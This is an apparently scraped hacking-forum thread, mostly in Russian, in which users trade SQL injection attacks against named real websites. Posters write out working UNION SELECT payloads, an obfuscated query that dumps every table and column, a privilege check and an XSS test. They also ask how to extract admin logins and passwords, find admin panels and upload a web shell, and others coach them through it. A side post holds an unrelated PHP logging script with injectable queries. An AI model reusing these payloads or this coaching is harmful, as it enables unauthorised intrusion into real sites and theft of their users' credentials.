This is the parameter for the SQL injection , it could be POST SQL injection, I'm not entirely sure. Code: task=category§ionid=10&filter_order=on&filter=%BF%27%22%28&limitstart=0&filter_order_Dir=on&limit=on&id=54 To get the error I used HackBar for Firefox, I put in this first: Code: http://www.yaziyaz.net/Evrim/konular/54-inorganik-evrim.html Then I clicked on 'Enable Post data' and put in the parameter and I clicked on 'Execute' and it gave me the following error(s): Code: Warning: Invalid argument supplied for foreach() in /home/yaziyaz2/public_html/Evrim/components/com_content/models/category.php on line 337 Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/yaziyaz2/public_html/Evrim/libraries/joomla/database/database/mysql.php on line 344
Ребят подскажите как оптимизировать код. Этот код просто записывает лог посещений, но все страницы куда я его добавляю явно медленнее загружаются Сам код(пишу недавно за безграмотность не судить): <?php $date=date("[D|d/m/Y|H:i:s]"); $ip=$_SERVER['REMOTE_ADDR']; $reff=urlencode($_SERVER['HTTP_REFERER']); $lang_acc=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']); $browser=urlencode($_SERVER['HTTP_USER_AGENT']); $req_url=urlencode($_SERVER['REQUEST_URI']); $host='localhost'; $database='xxx'; $user='xxx'; $pswd='xxx'; mysql_connect($host, $user, $pswd) or die("Can't connect to MySQL."); mysql_select_db($database) or die("Can't connect to database."); $query ="INSERT INTO my_sql_table (ip,from_lang, time, us_ag, ref, http_acc_lang) VALUES ('$ip','$req_url', '$date', '$browser','$reff','$lang_acc')"; $ip_query = mysql_query('SELECT * FROM my_sql_table where ip="'.$ip.'"'); //========== CHECK IP EXIST if (empty($ip_query)) { //echo "ip=".$ip."ip_Q=".$ip_query ; mysql_query($query) or die(mysql_error()); mysql_close(); } else { $count_logins = mysql_query('SELECT count_logins FROM `my_sql_table` WHERE ip="'.$ip.'" limit 1') or die (mysql_error()); $c_plus = '0'; $upd_count = 'UPDATE `xxx`.`my_sql_table` SET `count_logins` = "'.$c_plus.'" WHERE `my_sql_table`.`ip` = "'.$ip.'"'; while($row = mysql_fetch_array($count_logins)) { $c_plus = $row['count_logins'] + 1; } mysql_query('DELETE FROM my_sql_table WHERE ip="'.$ip.'" AND from_lang="'.$req_url.'"'.' AND ref="'.$reff.'"') or die (mysql_error()); mysql_query($query) or die(mysql_error()); $upd_count = 'UPDATE `xxx`.`my_sql_table` SET `count_logins` = "'.$c_plus.'" WHERE `my_sql_table`.`ip` = "'.$ip.'"'; mysql_query($upd_count) or die(mysql_error()); mysql_close(); } ?>
Ты предлагаешь его еще дешифровать? Если приведешь код в нормальное, понятное состояние могу постараться помочь тебе.
Уже вижу. Так тебе нужна была подсказка, вот подсказка от меня: Каждый раз подключаться к DB, потом отключаться, и так покругу - глупо. Один раз подключись, построй свою систему, где будешь передавать уже действующий идентификатор подключения. Это намного ускорить твой код. Зачем столько раз вызывать urlencode()? Для чего ты его вообще вызываешь? Найди альтернативу. Все функция работающие со строками медленные, но некоторые медленее чем другие. Поэтому, найди оптимальный вариант для своего случая. Функций для работы со строками дофига (особенно в PHP). Разделяй код на функции. Зачем все в один файл толкать. Понимаю что это может чуть замедлить код, но в дальнейшем намного легче будеть исправлять ошибки, расширять функционал скрипта и т.д.
Кстати, я вообще не догнал, зачем ты этот вопрос написал в теме про уязвимостей? Тут же есть тема про PHP, пиши там.
От SQL-inj используются другие функция. urlencode переведет все специальные знаки, а это не обязательно, чтобы защититься от SQL-inj.
а такой вопрос чего тут емеил выводится нормально, а логин и пароль невыводятся вобще как их вывести?
как тут выывести таблицы ? http://www.passion.ru/piknik.php/view/%282%29union%28select%281%29,version%28%29,3%29
Code: http://www.robolive.ru/node/post.php?id=-1+union+select+1,2,3,TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+15,1 Как залить шелл?
помогите раскрутить,вроде всё правильно делаю Code: http://www.auto-most.ru/site/video/testdrive/ford/905.html?next=30', 30 union select version()--+f
Code: http://www.auto-most.ru/site/video/testdrive/ford/905.html?next=30%22%3E%3Cscript%3Ealert('hack')%3C/script%3E
Как узнал какие права? Какие нужны мне для этого? Как найти админку? Как найти таблицу где данные о логине и пассе админа?
1) Code: http://www.robolive.ru/node/post.php?id=-1+union+select+1,2,3,file_priv+FROM+mysql.user+where+user=user() Ошибка, значит нет прав. 2) Все таблицы: Code: http://www.robolive.ru/node/post.php?id=-1+union+select+1,2,3,(%73elect(@x)%66rom(%73elect(@x:=0x00),(%73elect(null)%66rom(%69nformation_schema.%63olumns)%77here(%74able_schema!=0x696e666f726d6174696f6e5f736368656d61)%61nd(0x00)%69n(@x:=%63oncat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,%63olumn_name))))x) Как видишь ни намека на пароли. Видимо пароли в файлах или в др. учетках. Вот цель например: Code: http://www.robolive.ru/cms/ http://www.robolive.ru/gb/admin/index.php?in_action=logon
Ничего не понятно блин! Как запросы такие составлены? Code: http://www.robolive.ru/node/post.php?id=-1+union+select+1,2,3,(%73elect(@x)%66rom(%73elect(@x:=0x00),(%73elect(null)%66rom(%69nformation_schema.%63olumns)%77here(%74able_schema!=0x696e666f726d6174696f6e5f736368656d61)%61nd(0x00)%69n(@x:=%63oncat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,%63olumn_name))))x) Как были найдены ссылки Code: http://www.robolive.ru/cms/ http://www.robolive.ru/gb/admin/index.php?in_action=logon ?
man ну ты вообще читай тут на ачате статьи по sql injection,админка находится либо от того какая cms либо простым брутом